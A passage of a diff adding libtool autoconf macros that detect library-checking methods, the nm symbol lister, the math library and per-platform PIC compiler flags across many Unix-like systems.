+# 'file_magic [[regex]]' -- check by looking for files in library path
+# which responds to the $file_magic_cmd with a given extended regex.
+# If you have `file' or equivalent on your system and you're not sure
+# whether `pass_all' will *always* work, you probably want this one.
+
+case $host_os in
+aix4* | aix5*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+beos*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+bsdi[[45]]*)
+  lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib)'
+  lt_cv_file_magic_cmd='/usr/bin/file -L'
+  lt_cv_file_magic_test_file=/shlib/libc.so
+  ;;
+
+cygwin*)
+  # func_win32_libid is a shell function defined in ltmain.sh
+  lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+  lt_cv_file_magic_cmd='func_win32_libid'
+  ;;
+
+  # Base MSYS/MinGW do not provide the 'file' command needed by
+  # func_win32_libid shell function, so use a weaker test based on 'objdump'.
+mingw* | pw32*)
+  lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
+  lt_cv_file_magic_cmd='$OBJDUMP -f'
+  ;;
+
+darwin* | rhapsody*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+freebsd* | kfreebsd*-gnu | dragonfly*)
+  if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then
+    case $host_cpu in
+    i*86 )
+      # Not sure whether the presence of OpenBSD here was a mistake.
+      # Let's accept both of them until this is cleared up.
+      lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[[3-9]]86 (compact )?demand paged shared library'
+      lt_cv_file_magic_cmd=/usr/bin/file
+      lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*`
+      ;;
+    esac
+  else
+    lt_cv_deplibs_check_method=pass_all
+  fi
+  ;;
+
+gnu*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+hpux10.20* | hpux11*)
+  lt_cv_file_magic_cmd=/usr/bin/file
+  case $host_cpu in
+  ia64*)
+    lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|ELF-[[0-9]][[0-9]]) shared object file - IA64'
+    lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so
+    ;;
+  hppa*64*)
+    [lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]']
+    lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl
+    ;;
+  *)
+    lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|PA-RISC[[0-9]].[[0-9]]) shared library'
+    lt_cv_file_magic_test_file=/usr/lib/libc.sl
+    ;;
+  esac
+  ;;
+
+interix3*)
+  # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here
+  lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|\.a)$'
+  ;;
+
+irix5* | irix6* | nonstopux*)
+  case $LD in
+  *-32|*"-32 ") libmagic=32-bit;;
+  *-n32|*"-n32 ") libmagic=N32;;
+  *-64|*"-64 ") libmagic=64-bit;;
+  *) libmagic=never-match;;
+  esac
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+# This must be Linux ELF.
+linux*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+netbsd* | knetbsd*-gnu)
+  if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then
+    lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$'
+  else
+    lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|_pic\.a)$'
+  fi
+  ;;
+
+newos6*)
+  lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (executable|dynamic lib)'
+  lt_cv_file_magic_cmd=/usr/bin/file
+  lt_cv_file_magic_test_file=/usr/lib/libnls.so
+  ;;
+
+*nto* | *qnx*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+openbsd*)
+  if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+    lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|\.so|_pic\.a)$'
+  else
+    lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$'
+  fi
+  ;;
+
+osf3* | osf4* | osf5*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+rdos*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+solaris*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+sysv4 | sysv4.3*)
+  case $host_vendor in
+  motorola)
+    lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib) M[[0-9]][[0-9]]* Version [[0-9]]'
+    lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*`
+    ;;
+  ncr)
+    lt_cv_deplibs_check_method=pass_all
+    ;;
+  sequent)
+    lt_cv_file_magic_cmd='/bin/file'
+    lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )'
+    ;;
+  sni)
+    lt_cv_file_magic_cmd='/bin/file'
+    lt_cv_deplibs_check_method="file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB dynamic lib"
+    lt_cv_file_magic_test_file=/lib/libc.so
+    ;;
+  siemens)
+    lt_cv_deplibs_check_method=pass_all
+    ;;
+  pc)
+    lt_cv_deplibs_check_method=pass_all
+    ;;
+  esac
+  ;;
+
+tpf*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+esac
+])
+file_magic_cmd=$lt_cv_file_magic_cmd
+deplibs_check_method=$lt_cv_deplibs_check_method
+test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+_LT_DECL([], [deplibs_check_method], [1],
+    [Method to check whether dependent libraries are shared objects])
+_LT_DECL([], [file_magic_cmd], [1],
+    [Command to use when deplibs_check_method == "file_magic"])
+])# _LT_CHECK_MAGIC_METHOD
+
+
+# LT_PATH_NM
+# ----------
+# find the pathname to a BSD- or MS-compatible name lister
+AC_DEFUN([LT_PATH_NM],
+[AC_REQUIRE([AC_PROG_CC])dnl
+AC_REQUIRE([AC_OBJEXT])dnl
+AC_CACHE_CHECK([for BSD- or MS-compatible name lister (nm)], lt_cv_path_NM,
+[if test -n "$NM"; then
+  # Let the user override the test.
+  lt_cv_path_NM="$NM"
+else
+  lt_nm_to_check="${ac_tool_prefix}nm"
+  if test -n "$ac_tool_prefix" && test "$build" = "$host"; then
+    lt_nm_to_check="$lt_nm_to_check nm"
+  fi
+  for lt_tmp_nm in $lt_nm_to_check; do
+    lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+    for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do
+      IFS="$lt_save_ifs"
+      test -z "$ac_dir" && ac_dir=.
+      tmp_nm="$ac_dir/$lt_tmp_nm"
+      if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then
+	# Check to see if the nm accepts a BSD-compat flag.
+	# Adding the `sed 1q' prevents false positives on HP-UX, which says:
+	#   nm: unknown option "B" ignored
+	# Tru64's nm complains that /dev/null is an invalid object file
+	case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in
+	*/dev/null* | *'Invalid file or object type'*)
+	  lt_cv_path_NM="$tmp_nm -B"
+	  break
+	  ;;
+	*)
+	  case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in
+	  */dev/null*)
+	    lt_cv_path_NM="$tmp_nm -p"
+	    break
+	    ;;
+	  *)
+	    lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but
+	    continue # so that we can try to find one that supports BSD flags
+	    ;;
+	  esac
+	  ;;
+	esac
+      fi
+    done
+    IFS="$lt_save_ifs"
+  done
+  : ${lt_cv_path_NM=no}
+fi])
+if test "$lt_cv_path_NM" != "no"; then
+  NM="$lt_cv_path_NM"
+else
+  # Didn't find any BSD compatible name lister, look for dumpbin.
+  AC_CHECK_TOOLS(DUMPBIN, ["dumpbin -symbols" "link -dump -symbols"], :)
+  AC_SUBST([DUMPBIN])
+  if test "$DUMPBIN" != ":"; then
+    NM="$DUMPBIN"
+  fi
+fi
+test -z "$NM" && NM=nm
+AC_SUBST([NM])
+_LT_DECL([], [NM], [1], [A BSD- or MS-compatible name lister])dnl
+
+AC_CACHE_CHECK([the name lister ($NM) interface], [lt_cv_nm_interface],
+  [lt_cv_nm_interface="BSD nm"
+  echo "int some_variable = 0;" > conftest.$ac_ext
+  (eval echo "\"\$as_me:__oline__: $ac_compile\"" >&AS_MESSAGE_LOG_FD)
+  (eval "$ac_compile" 2>conftest.err)
+  cat conftest.err >&AS_MESSAGE_LOG_FD
+  (eval echo "\"\$as_me:__oline__: $NM \\\"conftest.$ac_objext\\\"\"" >&AS_MESSAGE_LOG_FD)
+  (eval "$NM \"conftest.$ac_objext\"" 2>conftest.err > conftest.out)
+  cat conftest.err >&AS_MESSAGE_LOG_FD
+  (eval echo "\"\$as_me:__oline__: output\"" >&AS_MESSAGE_LOG_FD)
+  cat conftest.out >&AS_MESSAGE_LOG_FD
+  if $GREP 'External.*some_variable' conftest.out > /dev/null; then
+    lt_cv_nm_interface="MS dumpbin"
+  fi
+  rm -f conftest*])
+])# LT_PATH_NM
+
+# Old names:
+AU_ALIAS([AM_PROG_NM], [LT_PATH_NM])
+AU_ALIAS([AC_PROG_NM], [LT_PATH_NM])
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AM_PROG_NM], [])
+dnl AC_DEFUN([AC_PROG_NM], [])
+
+
+# LT_LIB_M
+# --------
+# check for math library
+AC_DEFUN([LT_LIB_M],
+[AC_REQUIRE([AC_CANONICAL_HOST])dnl
+LIBM=
+case $host in
+*-*-beos* | *-*-cygwin* | *-*-pw32* | *-*-darwin*)
+  # These system don't have libm, or don't need it
+  ;;
+*-ncr-sysv4.3*)
+  AC_CHECK_LIB(mw, _mwvalidcheckl, LIBM="-lmw")
+  AC_CHECK_LIB(m, cos, LIBM="$LIBM -lm")
+  ;;
+*)
+  AC_CHECK_LIB(m, cos, LIBM="-lm")
+  ;;
+esac
+AC_SUBST([LIBM])
+])# LT_LIB_M
+
+# Old name:
+AU_ALIAS([AC_CHECK_LIBM], [LT_LIB_M])
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_CHECK_LIBM], [])
+
+
+# _LT_COMPILER_NO_RTTI([TAGNAME])
+# -------------------------------
+m4_defun([_LT_COMPILER_NO_RTTI],
+[m4_require([_LT_TAG_COMPILER])dnl
+
+_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=
+
+if test "$GCC" = yes; then
+  _LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin'
+
+  _LT_COMPILER_OPTION([if $compiler supports -fno-rtti -fno-exceptions],
+    lt_cv_prog_compiler_rtti_exceptions,
+    [-fno-rtti -fno-exceptions], [],
+    [_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)="$_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) -fno-rtti -fno-exceptions"])
+fi
+_LT_TAGDECL([no_builtin_flag], [lt_prog_compiler_no_builtin_flag], [1],
+	[Compiler flag to turn off builtin functions])
+])# _LT_COMPILER_NO_RTTI
+
+
+# _LT_CMD_GLOBAL_SYMBOLS
+# ----------------------
+m4_defun([_LT_CMD_GLOBAL_SYMBOLS],
+[AC_REQUIRE([AC_CANONICAL_HOST])dnl
+AC_REQUIRE([AC_PROG_CC])dnl
+AC_REQUIRE([AC_OBJEXT])dnl
+AC_REQUIRE([LT_PATH_NM])dnl
+AC_REQUIRE([LT_PATH_LD])dnl
+m4_require([_LT_DECL_EGREP])dnl
+m4_require([_LT_TAG_COMPILER])dnl
+
+# Check for command to grab the raw symbol name followed by C symbol from nm.
+AC_MSG_CHECKING([command to parse $NM output from $compiler object])
+AC_CACHE_VAL([lt_cv_sys_global_symbol_pipe],
+[
+# These are sane defaults that work on at least a few old systems.
+# [They come from Ultrix.  What could be older than Ultrix?!! ;)]
+
+# Character class describing NM global symbol codes.
+symcode='[[BCDEGRST]]'
+
+# Regexp to match symbols that can be accessed directly from C.
+sympat='\([[_A-Za-z]][[_A-Za-z0-9]]*\)'
+
+# Define system-specific variables.
+case $host_os in
+aix*)
+  symcode='[[BCDT]]'
+  ;;
+cygwin* | mingw* | pw32*)
+  symcode='[[ABCDGISTW]]'
+  ;;
+hpux*)
+  if test "$host_cpu" = ia64; then
+    symcode='[[ABCDEGRST]]'
+  fi
+  ;;
+irix* | nonstopux*)
+  symcode='[[BCDEGRST]]'
+  ;;
+osf*)
+  symcode='[[BCDEGQRST]]'
+  ;;
+solaris*)
+  symcode='[[BDRT]]'
+  ;;
+sco3.2v5*)
+  symcode='[[DT]]'
+  ;;
+sysv4.2uw2*)
+  symcode='[[DT]]'
+  ;;
+sysv5* | sco5v6* | unixware* | OpenUNIX*)
+  symcode='[[ABDT]]'
+  ;;
+sysv4)
+  symcode='[[DFNSTU]]'
+  ;;
+esac
+
+# If we're using GNU nm, then use its standard symbol codes.
+case `$NM -V 2>&1` in
+*GNU* | *'with BFD'*)
+  symcode='[[ABCDGIRSTW]]' ;;
+esac
+
+# Transform an extracted symbol line into a proper C declaration.
+# Some systems (esp. on ia64) link data and code symbols differently,
+# so use this general approach.
+lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+# Transform an extracted symbol line into symbol name and symbol address
+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/  {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/  {\"\2\", (void *) \&\2},/p'"
+
+# Handle CRLF in mingw tool chain
+opt_cr=
+case $build_os in
+mingw*)
+  opt_cr=`$ECHO 'x\{0,1\}' | tr x '\015'` # option cr in regexp
+  ;;
+esac
+
+# Try without a prefix underscore, then with it.
+for ac_symprfx in "" "_"; do
+
+  # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol.
+  symxfrm="\\1 $ac_symprfx\\2 \\2"
+
+  # Write the raw and C identifiers.
+  if test "$lt_cv_nm_interface" = "MS dumpbin"; then
+    # Fake it for dumpbin and say T for any non-static function
+    # and D for any global variable.
+    # Also find C++ and __fastcall symbols from MSVC++,
+    # which start with @ or ?.
+    lt_cv_sys_global_symbol_pipe="$AWK ['"\
+"     {last_section=section; section=\$ 3};"\
+"     /Section length .*#relocs.*(pick any)/{hide[last_section]=1};"\
+"     \$ 0!~/External *\|/{next};"\
+"     / 0+ UNDEF /{next}; / UNDEF \([^|]\)*()/{next};"\
+"     {if(hide[section]) next};"\
+"     {f=0}; \$ 0~/\(\).*\|/{f=1}; {printf f ? \"T \" : \"D \"};"\
+"     {split(\$ 0, a, /\||\r/); split(a[2], s)};"\
+"     s[1]~/^[@?]/{print s[1], s[1]; next};"\
+"     s[1]~prfx {split(s[1],t,\"@\"); print t[1], substr(t[1],length(prfx))}"\
+"     ' prfx=^$ac_symprfx]"
+  else
+    lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ 	]]\($symcode$symcode*\)[[ 	]][[ 	]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+  fi
+
+  # Check to see that the pipe works correctly.
+  pipe_works=no
+
+  rm -f conftest*
+  cat > conftest.$ac_ext <<_LT_EOF
+#ifdef __cplusplus
+extern "C" {
+#endif
+char nm_test_var;
+void nm_test_func(){}
+#ifdef __cplusplus
+}
+#endif
+int main(){nm_test_var='a';nm_test_func();return(0);}
+_LT_EOF
+
+  if AC_TRY_EVAL(ac_compile); then
+    # Now try to grab the symbols.
+    nlist=conftest.nm
+    if AC_TRY_EVAL(NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) && test -s "$nlist"; then
+      # Try sorting and uniquifying the output.
+      if sort "$nlist" | uniq > "$nlist"T; then
+	mv -f "$nlist"T "$nlist"
+      else
+	rm -f "$nlist"T
+      fi
+
+      # Make sure that we snagged all the symbols we need.
+      if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+	if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+	  cat <<_LT_EOF > conftest.$ac_ext
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+_LT_EOF
+	  # Now generate the symbol file.
+	  eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | $GREP -v main >> conftest.$ac_ext'
+
+	  cat <<_LT_EOF >> conftest.$ac_ext
+
+/* The mapping between symbol names and symbols.  */
+const struct {
+  const char *name;
+  void       *address;
+}
+lt__PROGRAM__LTX_preloaded_symbols[[]] =
+{
+  { "@PROGRAM@", (void *) 0 },
+_LT_EOF
+	  $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/  {\"\2\", (void *) \&\2},/" < "$nlist" | $GREP -v main >> conftest.$ac_ext
+	  cat <<\_LT_EOF >> conftest.$ac_ext
+  {0, (void *) 0}
+};
+
+/* This works around a problem in FreeBSD linker */
+#ifdef FREEBSD_WORKAROUND
+static const void *lt_preloaded_setup() {
+  return lt__PROGRAM__LTX_preloaded_symbols;
+}
+#endif
+
+#ifdef __cplusplus
+}
+#endif
+_LT_EOF
+	  # Now try linking the two files.
+	  mv conftest.$ac_objext conftstm.$ac_objext
+	  lt_save_LIBS="$LIBS"
+	  lt_save_CFLAGS="$CFLAGS"
+	  LIBS="conftstm.$ac_objext"
+	  CFLAGS="$CFLAGS$_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)"
+	  if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then
+	    pipe_works=yes
+	  fi
+	  LIBS="$lt_save_LIBS"
+	  CFLAGS="$lt_save_CFLAGS"
+	else
+	  echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD
+	fi
+      else
+	echo "cannot find nm_test_var in $nlist" >&AS_MESSAGE_LOG_FD
+      fi
+    else
+      echo "cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD
+    fi
+  else
+    echo "$progname: failed program was:" >&AS_MESSAGE_LOG_FD
+    cat conftest.$ac_ext >&5
+  fi
+  rm -f conftest* conftst*
+
+  # Do not use the global_symbol_pipe unless it works.
+  if test "$pipe_works" = yes; then
+    break
+  else
+    lt_cv_sys_global_symbol_pipe=
+  fi
+done
+])
+if test -z "$lt_cv_sys_global_symbol_pipe"; then
+  lt_cv_sys_global_symbol_to_cdecl=
+fi
+if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then
+  AC_MSG_RESULT(failed)
+else
+  AC_MSG_RESULT(ok)
+fi
+
+_LT_DECL([global_symbol_pipe], [lt_cv_sys_global_symbol_pipe], [1],
+    [Take the output of nm and produce a listing of raw symbols and C names])
+_LT_DECL([global_symbol_to_cdecl], [lt_cv_sys_global_symbol_to_cdecl], [1],
+    [Transform the output of nm in a proper C declaration])
+_LT_DECL([global_symbol_to_c_name_address],
+    [lt_cv_sys_global_symbol_to_c_name_address], [1],
+    [Transform the output of nm in a C name address pair])
+]) # _LT_CMD_GLOBAL_SYMBOLS
+
+
+# _LT_COMPILER_PIC([TAGNAME])
+# ---------------------------
+m4_defun([_LT_COMPILER_PIC],
+[m4_require([_LT_TAG_COMPILER])dnl
+_LT_TAGVAR(lt_prog_compiler_wl, $1)=
+_LT_TAGVAR(lt_prog_compiler_pic, $1)=
+_LT_TAGVAR(lt_prog_compiler_static, $1)=
+
+AC_MSG_CHECKING([for $compiler option to produce PIC])
+m4_if([$1], [CXX], [
+  # C++ specific cases for pic, static, wl, etc.
+  if test "$GXX" = yes; then
+    _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+    _LT_TAGVAR(lt_prog_compiler_static, $1)='-static'
+
+    case $host_os in
+    aix*)
+      # All AIX code is PIC.
+      if test "$host_cpu" = ia64; then
+	# AIX 5 now supports IA64 processor
+	_LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      fi
+      ;;
+    amigaos*)
+      if test "$host_cpu" = m68k; then
+        # FIXME: we need at least 68020 code to build shared libraries, but
+        # adding the `-m68020' flag to GCC prevents building anything better,
+        # like `-m68040'.
+        _LT_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4'
+      fi
+      ;;
+    beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
+      # PIC is the default for these OSes.
+      ;;
+    mingw* | os2* | pw32*)
+      # This hack is so that the source file can tell whether it is being
+      # built for inclusion in a dll (and should export symbols for example).
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
+      ;;
+    darwin* | rhapsody*)
+      # PIC is the default on this platform
+      # Common symbols not allowed in MH_DYLIB files
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common'
+      ;;
+    *djgpp*)
+      # DJGPP does not support shared libraries at all
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)=
+      ;;
+    interix3*)
+      # Interix 3.x gcc -fpic/-fPIC options generate broken code.
+      # Instead, we relocate shared libraries at runtime.
+      ;;
+    sysv4*MP*)
+      if test -d /usr/nec; then
+	_LT_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic
+      fi
+      ;;
+    hpux*)
+      # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
+      # not for PA HP-UX.
+      case $host_cpu in
+      hppa*64*|ia64*)
+	;;
+      *)
+	_LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
+	;;
+      esac
+      ;;
+    *qnx* | *nto*)
+      # QNX uses GNU C++, but need to define -shared option too, otherwise
+      # it will coredump.
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared'
+      ;;
+    *)
+      _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
+      ;;
+    esac
+  else
+    case $host_os in
+      aix4* | aix5*)
+	# All AIX code is PIC.
+	if test "$host_cpu" = ia64; then
+	  # AIX 5 now supports IA64 processor
+	  _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+	else
+	  _LT_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp'
+	fi
+	;;
+      chorus*)
+	case $cc_basename in
+	cxch68*)
+	  # Green Hills C++ Compiler
+	  # _LT_TAGVAR(lt_prog_compiler_static, $1)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a"
+	  ;;
+	esac
+	;;
+      darwin*)
+        # PIC is the default on this platform
+        # Common symbols not allowed in MH_DYLIB files
+        case $cc_basename in
+          xlc*)
+          _LT_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon'
+          _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+          ;;
+        esac
+        ;;
+      dgux*)
+	case $cc_basename in
+	  ec++*)
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+	    ;;
+	  ghcx*)
+	    # Green Hills C++ Compiler
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      freebsd* | kfreebsd*-gnu | dragonfly*)
+	# FreeBSD uses GNU C++
+	;;
+      hpux9* | hpux10* | hpux11*)
+	case $cc_basename in
+	  CC*)
+	    _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    _LT_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
+	    if test "$host_cpu" != ia64; then
+	      _LT_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
+	    fi
+	    ;;
+	  aCC*)
+	    _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    _LT_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
+	    case $host_cpu in
+	    hppa*64*|ia64*)
+	      # +Z the default
+	      ;;
+	    *)
+	      _LT_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
+	      ;;
+	    esac
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      interix*)
+	# This is c89, which is MS Visual C++ (no shared libs)
+	# Anyone wants to do a port?
+	;;
+      irix5* | irix6* | nonstopux*)
+	case $cc_basename in
+	  CC*)
+	    _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+	    # CC pic flag -KPIC is the default.
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      linux*)
+	case $cc_basename in
+	  KCC*)
+	    # KAI C++ Compiler
+	    _LT_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,'
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
+	    ;;
+	  icpc* | ecpc* )
+	    # Intel C++
+	    _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+	    _LT_TAGVAR(lt_prog_compiler_static, $1)='-static'
+	    ;;
+	  pgCC*)
+	    # Portland Group C++ compiler
+	    _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fpic'
+	    _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+	    ;;
+	  cxx*)
+	    # Compaq C++
+	    # Make sure the PIC flag is empty.  It appears that all Alpha
+	    # Linux and Compaq Tru64 Unix objects are PIC.
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)=
+	    _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      lynxos*)
+	;;
+      m88k*)
+	;;
+      mvs*)
+	case $cc_basename in
+	  cxx*)
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-W c,exportall'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      netbsd*)
+	;;
+      *qnx* | *nto*)
+        # QNX uses GNU C++, but need to define -shared option too, otherwise
+        # it will coredump.
+        _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared'
+        ;;
+      osf3* | osf4* | osf5*)
+	case $cc_basename in
+	  KCC*)
+	    _LT_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,'
+	    ;;
+	  RCC*)
+	    # Rational C++ 2.4.1
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
+	    ;;
+	  cxx*)
+	    # Digital/Compaq C++
+	    _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    # Make sure the PIC flag is empty.  It appears that all Alpha
+	    # Linux and Compaq Tru64 Unix objects are PIC.
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)=
+	    _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      psos*)
+	;;
+      solaris*)
+	case $cc_basename in
+	  CC*)
+	    # Sun C++ 4.2, 5.x and Centerline C++
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+	    _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+	    _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld '
+	    ;;
+	  gcx*)
+	    # Green Hills C++ Compiler
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      sunos4*)
+	case $cc_basename in
+	  CC*)
+	    # Sun C++ 4.x
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
+	    _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+	    ;;
+	  lcc*)
+	    # Lucid
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
+	case $cc_basename in
+	  CC*)
+	    _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+	    _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+	    ;;
+	esac
+	;;
+      tandem*)
+	case $cc_basename in
+	  NCC*)
+	    # NonStop-UX NCC 3.20
+	    _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+	    ;;
+	  *)
+	    ;;
+	esac
+	;;
+      vxworks*)
+	;;
+      *)
+	_LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
+	;;
+    esac
+  fi
+],
+[
+  if test "$GCC" = yes; then
+    _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
+    _LT_TAGVAR(lt_prog_compiler_static, $1)='-static'
+
+    case $host_os in
+      aix*)
+      # All AIX code is PIC.
+      if test "$host_cpu" = ia64; then
+	# AIX 5 now supports IA64 processor
+	_LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+      fi
+      ;;
+
+    amigaos*)
